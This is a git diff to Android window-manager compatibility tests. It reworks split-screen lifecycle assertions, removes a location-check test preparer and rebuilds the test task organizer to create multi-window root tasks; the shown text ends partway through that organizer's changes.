diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index c7bac16..a299c8c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -309,11 +309,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        // First activity must be resumed, but not gain the top position
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "unminimizeDockedStack");
         // Second activity must be on top now
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
     }
@@ -334,9 +329,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Switch top between two activities
         getLifecycleLog().clear();
         new Launcher(CallbackTrackingActivity.class)
@@ -473,9 +465,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
         final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
index 1a622e8..f000dd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleLog.java
@@ -51,7 +51,8 @@
         ON_NEW_INTENT,
         ON_MULTI_WINDOW_MODE_CHANGED,
         ON_TOP_POSITION_GAINED,
-        ON_TOP_POSITION_LOST
+        ON_TOP_POSITION_LOST,
+        ON_USER_LEAVE_HINT
     }
 
     interface LifecycleTrackerCallback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 233e260..6f005b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -31,6 +31,7 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -300,16 +301,33 @@
 
     static List<LifecycleLog.ActivityCallback> getSplitScreenTransitionSequence(
             Class<? extends Activity> activityClass) {
+        // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
+        // don't expect a trailing ON_PAUSE.
         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
                 ? CONFIG_CHANGE_HANDLING_CLASS.isAssignableFrom(activityClass)
-                ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST, ON_PAUSE)
+                ? Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
                 ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE)
+                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                ON_RESUME, ON_PAUSE);
+                ON_RESUME);
+    }
+
+    // TODO(b/149338177): Remove this workaround once test passes with TestTaskOrganizer not to
+    // depend on minimized dock feature which is not policy requirement, but SysUI-specific.
+    /**
+     * Returns the result of appending "leave from minimized dock" transitions to given transitions
+     * to "consume" these activity callbacks.
+     */
+    static List<ActivityCallback> appendMinimizedDockTransitionTrail(
+            List<ActivityCallback> transitions) {
+        final List<LifecycleLog.ActivityCallback> newTransitions =
+                new ArrayList<LifecycleLog.ActivityCallback>(transitions);
+        newTransitions.addAll(Arrays.asList(ON_PAUSE, ON_RESUME));
+
+        return newTransitions;
     }
 
     static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
@@ -373,6 +391,15 @@
                 lifecycleLog.getLog().contains(expectedTransition));
     }
 
+    /**
+     * Assert that a transition was not observer, no particular order.
+     */
+    static void assertTransitionNotObserved(LifecycleLog lifecycleLog,
+            Pair<String, ActivityCallback> expectedTransition, String transition) {
+        assertFalse("Transition " + expectedTransition + " must not be observed during "
+                        + transition, lifecycleLog.getLog().contains(expectedTransition));
+    }
+
     static void assertEmptySequence(Class<? extends Activity> activityClass,
             LifecycleLog lifecycleLog, String transition) {
         assertSequence(activityClass, lifecycleLog, new ArrayList<>(), transition);
diff --git a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
index 2e3446f..0591fca 100644
--- a/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk25/AndroidTest.xml
@@ -21,7 +21,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk25TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
index ac3b62b..e315e22 100644
--- a/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk28/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk28TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
index 6d1f8d8..f2e558a 100644
--- a/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/testsdk29/AndroidTest.xml
@@ -22,7 +22,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWindowManagerSdk29TestCases.apk" />
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index d841a45..25b5ee8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -242,7 +242,7 @@
         try {
             if (getBoolean(extras, KEY_LAUNCH_PENDING)) {
                 PendingIntent pendingIntent = PendingIntent.getActivity(launchContext,
-                        0, newIntent, 0);
+                        0, newIntent, PendingIntent.FLAG_IMMUTABLE);
                 pendingIntent.send();
             } else {
                 launchContext.startActivity(newIntent, optionsBundle);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c674bbc..3bee484 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -16,7 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
 import static android.app.Instrumentation.ActivityMonitor;
@@ -25,8 +24,8 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -146,11 +145,7 @@
 import android.util.EventLog;
 import android.util.EventLog.Event;
 import android.view.Display;
-import android.view.InputDevice;
-import android.view.KeyEvent;
-import android.view.MotionEvent;
 import android.view.View;
-import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
 import androidx.annotation.NonNull;
@@ -176,7 +171,6 @@
 import java.util.List;
 import java.util.Map;
 import java.util.UUID;
-import java.util.concurrent.ConcurrentLinkedDeque;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.BooleanSupplier;
 import java.util.function.Consumer;
@@ -559,7 +553,8 @@
 
         runWithShellPermission(() -> {
             // TaskOrganizer ctor requires MANAGE_ACTIVITY_TASKS permission
-            mTaskOrganizer = new TestTaskOrganizer();
+            mTaskOrganizer = new TestTaskOrganizer(
+                    mContext.createDisplayContext(mDm.getDisplay(DEFAULT_DISPLAY)));
             // Clear launch params for all test packages to make sure each test is run in a clean
             // state.
             mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
@@ -593,12 +588,6 @@
         SystemUtil.runWithShellPermissionIdentity(ActivityManager::resumeAppSwitches);
     }
 
-    protected void moveTopActivityToPinnedRootTask(int rootTaskId) {
-        runWithShellPermission(
-                () -> mAtm.moveTopActivityToPinnedRootTask(rootTaskId, new Rect(0, 0, 500, 500))
-        );
-    }
-
     protected void startActivityOnDisplay(int displayId, ComponentName component) {
         final ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchDisplayId(displayId);
@@ -762,6 +751,10 @@
         return null;
     }
 
+    protected int getDisplayWindowingModeByActivity(ComponentName activity) {
+        return mWmState.getDisplay(mWmState.getDisplayByActivity(activity)).getWindowingMode();
+    }
+
     /**
      * Launches the home activity directly. If there is no specific reason to simulate a home key
      * (which will trigger stop-app-switches), it is the recommended method to go home.
@@ -810,6 +803,24 @@
         executeShellCommand(getAmStartCmd(activityName, displayId, extras));
     }
 
+    protected void launchActivityInPrimarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
+            launchActivity(activityName);
+            final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+            mTaskOrganizer.putTaskInSplitPrimary(taskId);
+            mWmState.waitForValidState(activityName);
+        });
+    }
+
+    protected void launchActivityInSecondarySplit(ComponentName activityName) {
+        runWithShellPermission(() -> {
+            launchActivity(activityName);
+            final int taskId = mWmState.getTaskByActivity(activityName).mTaskId;
+            mTaskOrganizer.putTaskInSplitSecondary(taskId);
+            mWmState.waitForValidState(activityName);
+        });
+    }
+
     /**
      * Launches {@param activityName} into split-screen primary windowing mode and also makes
      * the recents activity visible to the side of it.
@@ -824,10 +835,7 @@
             if (mUseTaskOrganizer) {
                 mTaskOrganizer.putTaskInSplitPrimary(taskId);
             } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT,
-                        true /* onTop */, false /* animate */,
-                        null /* initialBounds */, true /* showRecents */);
+                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
             }
 
             mWmState.waitForValidState(
@@ -856,10 +864,7 @@
             if (mUseTaskOrganizer) {
                 mTaskOrganizer.putTaskInSplitPrimary(taskId);
             } else {
-                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
-                        SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
-                        false /* animate */, null /* initialBounds */,
-                        false /* showRecents */);
+                mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
             }
 
             // Wait for split screen ready
@@ -891,6 +896,46 @@
     }
 
     /**
+     * Moves the device into split-screen with the specified task into the primary stack.
+     * @param taskId             The id of the task to move into the primary stack.
+     * @param showSideActivity   Whether to show the home activity or a placeholder activity in
+     *                           secondary split-screen.
+     *                           If {@code true} it will also wait for activity in the primary
+     *                           split-screen stack to be resumed.
+     */
+    public void moveTaskToPrimaryLegacySplitScreen(int taskId, boolean showSideActivity) {
+        runWithShellPermission(() -> {
+            mAtm.setTaskWindowingModeSplitScreenPrimary(taskId, true /* onTop */);
+
+            // Wait for split screen ready
+            mWmState.waitForWithAmState(state -> {
+                final WindowManagerState.ActivityTask task =
+                        state.getStandardStackByWindowingMode(
+                                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                return task != null && task.getResumedActivity() != null;
+            }, "home activity in the secondary split-screen task must be resumed");
+
+            if (showSideActivity) {
+                // Launch Placeholder Side Activity
+                final ComponentName sideActivityName =
+                        new ComponentName(mContext, SideActivity.class);
+                mContext.startActivity(new Intent().setComponent(sideActivityName)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+                mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
+
+                // Wait for the state of the activity on primary split screen to resumed, so the
+                // LifecycleLog won't affect the following tests.
+                mWmState.waitForWithAmState(state -> {
+                    final WindowManagerState.ActivityTask stack =
+                            state.getStandardStackByWindowingMode(
+                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+                    return stack != null && stack.getResumedActivity() != null;
+                }, "activity in the primary split-screen stack must be resumed");
+            }
+        });
+    }
+
+    /**
      * Launches {@param primaryActivity} into split-screen primary windowing mode
      * and {@param secondaryActivity} to the side in split-screen secondary windowing mode.
      */
@@ -902,9 +947,42 @@
                 .setWaitForLaunched(true)
                 .execute();
 
+        final int primaryTaskId = mWmState.getTaskByActivity(
+                primaryActivity.mTargetActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitPrimary(primaryTaskId);
+
+        // Launch split-screen secondary
+        secondaryActivity
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .setNewTask(true)
+                .setMultipleTask(true)
+                .execute();
+
+        final int secondaryTaskId = mWmState.getTaskByActivity(
+                secondaryActivity.mTargetActivity).mTaskId;
+        mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
+        mWmState.computeState(primaryActivity.getTargetActivity(),
+                secondaryActivity.getTargetActivity());
+        log("launchActivitiesInSplitScreen(), primaryTaskId=" + primaryTaskId +
+                ", secondaryTaskId=" + secondaryTaskId);
+    }
+
+    /**
+     * Launches {@param primaryActivity} into split-screen primary windowing mode
+     * and {@param secondaryActivity} to the side in split-screen secondary windowing mode.
+     */
+    protected void launchActivitiesInLegacySplitScreen(LaunchActivityBuilder primaryActivity,
+            LaunchActivityBuilder secondaryActivity) {
+        // Launch split-screen primary.
+        primaryActivity
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+
         final int taskId = mWmState.getTaskByActivity(
                 primaryActivity.mTargetActivity).mTaskId;
-        moveTaskToPrimarySplitScreen(taskId);
+        moveTaskToPrimaryLegacySplitScreen(taskId, false /* showSideActivity */);
 
         // Launch split-screen secondary
         // Recents become focused, so we can just launch new task in focused stack
@@ -1058,7 +1136,9 @@
                 mWmState.getRootTask(frontRootTaskId);
         assertEquals(
                 "Resumed activity of front root task of the target display must match. " + message,
-                activityClassName, frontRootTaskOnDisplay.mResumedActivity);
+                activityClassName,
+                frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
+                        : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
         mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
         mWmState.assertVisibility(activityName, true /* visible */);
     }
@@ -1091,6 +1171,12 @@
         return uiModeLockedToVrHeadset;
     }
 
+    protected boolean supportsMultiWindow() {
+        Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
+        return ActivityTaskManager.supportsSplitScreenMultiWindow(
+                mContext.createDisplayContext(defaultDisplay));
+    }
+
     /** Returns true if the default display supports split screen multi-window. */
     protected boolean supportsSplitScreenMultiWindow() {
         Display defaultDisplay = mDm.getDisplay(DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
new file mode 100644
index 0000000..cfe1254
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/FutureConnection.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import android.content.ComponentName;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+
+import javax.annotation.Nullable;
+
+public class FutureConnection<T extends IInterface> implements ServiceConnection {
+    private static final String TAG = "FutureServiceConnection";
+
+    private final Function<IBinder, T> mConverter;
+    private volatile CompletableFuture<IBinder> mFuture = new CompletableFuture<>();
+
+    public FutureConnection(Function<IBinder, T> converter) {
+        mConverter = converter;
+    }
+
+    public T get(long timeoutMs) throws Exception {
+        return mConverter.apply(mFuture.get(timeoutMs, TimeUnit.MILLISECONDS));
+    }
+
+    @Nullable
+    public T getCurrent() {
+        return mConverter.apply(mFuture.getNow(null));
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        mFuture.complete(service);
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        Log.w(TAG, name.flattenToShortString() + " disconnected");
+        mFuture = new CompletableFuture<>();
+    }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index 2772160..a5d2cf8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,30 +16,129 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import android.app.ActivityManager;
-import android.view.Display;
+import android.content.Context;
+import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
+import android.os.SystemClock;
+import android.util.ArraySet;
+import android.util.Log;
 import android.view.SurfaceControl;
+import android.view.WindowManager;
+import android.window.TaskAppearedInfo;
 import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
 import android.window.WindowContainerTransaction;
 
 import androidx.annotation.NonNull;
 
-import java.util.ArrayList;
+import org.junit.Assert;
+
 import java.util.HashMap;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
 
 class TestTaskOrganizer extends TaskOrganizer {
+    private static final String TAG = TestTaskOrganizer.class.getSimpleName();
+    public static final int INVALID_TASK_ID = -1;
 
     private boolean mRegistered;
-    final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
     private ActivityManager.RunningTaskInfo mRootPrimary;
-    private boolean mRootPrimaryHasChild;
     private ActivityManager.RunningTaskInfo mRootSecondary;
+    private IBinder mPrimaryCookie;
+    private IBinder mSecondaryCookie;
+    private final HashMap<Integer, ActivityManager.RunningTaskInfo> mKnownTasks = new HashMap<>();
+    private final ArraySet<Integer> mPrimaryChildrenTaskIds = new ArraySet<>();
+    private final ArraySet<Integer> mSecondaryChildrenTaskIds = new ArraySet<>();
+    private final Rect mPrimaryBounds = new Rect();
+    private final Rect mSecondaryBounds = new Rect();
+
+    private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+            ACTIVITY_TYPE_STANDARD,
+            ACTIVITY_TYPE_HOME,
+            ACTIVITY_TYPE_RECENTS,
+            ACTIVITY_TYPE_UNDEFINED
+    };
+    private static final int[] CONTROLLED_WINDOWING_MODES = {
+            WINDOWING_MODE_FULLSCREEN,
+            WINDOWING_MODE_MULTI_WINDOW,
+            WINDOWING_MODE_UNDEFINED
+    };
+
+    TestTaskOrganizer(Context displayContext) {
+        super();
+        Rect bounds = displayContext.getSystemService(WindowManager.class)
+                .getCurrentWindowMetrics()
+                .getBounds();
+        boolean isLandscape = bounds.width() > bounds.height();
+        mPrimaryBounds.set(
+                0, 0,
+                isLandscape ? bounds.width() / 2 : bounds.width(),
+                isLandscape ? bounds.height() : bounds.height() / 2);
+        mSecondaryBounds.set(
+                isLandscape ? bounds.width() / 2 : 0,
+                isLandscape ? 0 : bounds.height() / 2,
+                0, 0);
+    }
+
+    @Override
+    public List<TaskAppearedInfo> registerOrganizer() {
+        synchronized (this) {
+            final List<TaskAppearedInfo> taskInfos = super.registerOrganizer();
+            for (int i = 0; i < taskInfos.size(); i++) {
+                final TaskAppearedInfo info = taskInfos.get(i);
+                onTaskAppeared(info.getTaskInfo(), info.getLeash());
+            }
+            createRootTasksIfNeeded();
+            return taskInfos;
+        }
+    }
+
+    private void createRootTasksIfNeeded() {
+        synchronized (this) {
+            if (mPrimaryCookie != null) return;
+            mPrimaryCookie = new Binder();
+            mSecondaryCookie = new Binder();
+
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mPrimaryCookie);
+            createRootTask(DEFAULT_DISPLAY, WINDOWING_MODE_MULTI_WINDOW, mSecondaryCookie);
+
+            waitForAndAssert(o -> mRootPrimary != null && mRootSecondary != null,
+                    "Failed to get root tasks");
+            Log.e(TAG, "createRootTasksIfNeeded primary=" + mRootPrimary.taskId
+                    + " secondary=" + mRootSecondary.taskId);
+        }
+    }
+
+    private void waitForAndAssert(Predicate<Object> condition, String failureMessage) {
+        waitFor(condition);
+        if (!condition.test(this)) {
+            Assert.fail(failureMessage);
+        }
+    }
+
+    private void waitFor(Predicate<Object> condition) {
+        final long waitTillTime = SystemClock.elapsedRealtime() + TimeUnit.SECONDS.toMillis(5);
+        while (!condition.test(this)
+                && SystemClock.elapsedRealtime() < waitTillTime) {
+            try {
+                wait(TimeUnit.SECONDS.toMillis(5));
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
 
     private void registerOrganizerIfNeeded() {
         if (mRegistered) return;
@@ -49,151 +148,226 @@
     }
 
     void unregisterOrganizerIfNeeded() {
-        if (!mRegistered) return;
-        mRegistered = false;
-        NestedShellPermission.run(() -> {
-            dismissedSplitScreen();
-            super.unregisterOrganizer();
-        });
+        synchronized (this) {
+            if (!mRegistered) return;
+            mRegistered = false;
+
+            NestedShellPermission.run(() -> {
+                dismissedSplitScreen();
+
+                deleteRootTask(mRootPrimary.getToken());
+                mRootPrimary = null;
+                mPrimaryCookie = null;
+                mPrimaryChildrenTaskIds.clear();
+                deleteRootTask(mRootSecondary.getToken());
+                mRootSecondary = null;
+                mSecondaryCookie = null;
+                mSecondaryChildrenTaskIds.clear();
+
+                super.unregisterOrganizer();
+            });
+        }
     }
 
     void putTaskInSplitPrimary(int taskId) {
-        registerOrganizerIfNeeded();
-        ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        t.setBounds(taskInfo.getToken(), null);
-        t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
-        applyTransaction(t);
-    }
-
-    void dismissedSplitScreen() {
         NestedShellPermission.run(() -> {
-            // Re-set default launch root.
-            setLaunchRoot(Display.DEFAULT_DISPLAY, null);
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootPrimary.getToken(), mPrimaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */)
+                        .reorder(mRootPrimary.getToken(), true /* onTop */);
+                applyTransaction(t);
 
-            // Re-parent everything back to the display from the splits so that things are as they were.
-            final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
-            final List<ActivityManager.RunningTaskInfo> primaryChildren =
-                    getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-            if (primaryChildren != null && !primaryChildren.isEmpty()) {
-                children.addAll(primaryChildren);
-            }
-            final List<ActivityManager.RunningTaskInfo> secondaryChildren =
-                    getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
-            if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
-                children.addAll(secondaryChildren);
-            }
-            if (children.isEmpty()) {
-                return;
-            }
+                waitForAndAssert(
+                        o -> mPrimaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitPrimary taskId=" + taskId);
 
-            final WindowContainerTransaction t = new WindowContainerTransaction();
-            for (ActivityManager.RunningTaskInfo task : children) {
-                t.reparent(task.getToken(), null /* parent */, true /* onTop */);
+                Log.e(TAG, "putTaskInSplitPrimary taskId=" + taskId);
             }
-            applyTransaction(t);
         });
     }
 
-    /** Also completes the process of entering split mode. */
-    private void processRootPrimaryTaskInfoChanged() {
-        List<ActivityManager.RunningTaskInfo> children =
-                getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
-        final boolean hasChild = !children.isEmpty();
-        if (mRootPrimaryHasChild == hasChild) return;
-        mRootPrimaryHasChild = hasChild;
-        if (!hasChild) return;
+    void putTaskInSplitSecondary(int taskId) {
+        NestedShellPermission.run(() -> {
+            synchronized (this) {
+                registerOrganizerIfNeeded();
+                ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
+                final WindowContainerTransaction t = new WindowContainerTransaction()
+                        .setBounds(mRootSecondary.getToken(), mSecondaryBounds)
+                        .setBounds(taskInfo.getToken(), null)
+                        .setWindowingMode(taskInfo.getToken(), WINDOWING_MODE_UNDEFINED)
+                        .reparent(taskInfo.getToken(), mRootSecondary.getToken(), true /* onTop */)
+                        .reorder(mRootSecondary.getToken(), true /* onTop */);
+                applyTransaction(t);
 
-        // Finish entering split-screen mode
+                waitForAndAssert(
+                        o -> mSecondaryChildrenTaskIds.contains(taskId),
+                        "Can't put putTaskInSplitSecondary taskId=" + taskId);
 
-        // Set launch root for the default display to secondary...for no good reason...
-        setLaunchRoot(DEFAULT_DISPLAY, mRootSecondary.getToken());
-
-        List<ActivityManager.RunningTaskInfo> rootTasks =
-                getRootTasks(DEFAULT_DISPLAY, null /* activityTypes */);
-        if (rootTasks.isEmpty()) return;
-        // Move all root fullscreen task to secondary split.
-        final WindowContainerTransaction t = new WindowContainerTransaction();
-        for (int i = rootTasks.size() - 1; i >= 0; --i) {
-            final ActivityManager.RunningTaskInfo task = rootTasks.get(i);
-            if (task.getConfiguration().windowConfiguration.getWindowingMode()
-                    == WINDOWING_MODE_FULLSCREEN) {
-                t.reparent(task.getToken(), mRootSecondary.getToken(), true /* onTop */);
+                Log.e(TAG, "putTaskInSplitSecondary taskId=" + taskId);
             }
+        });
+    }
+
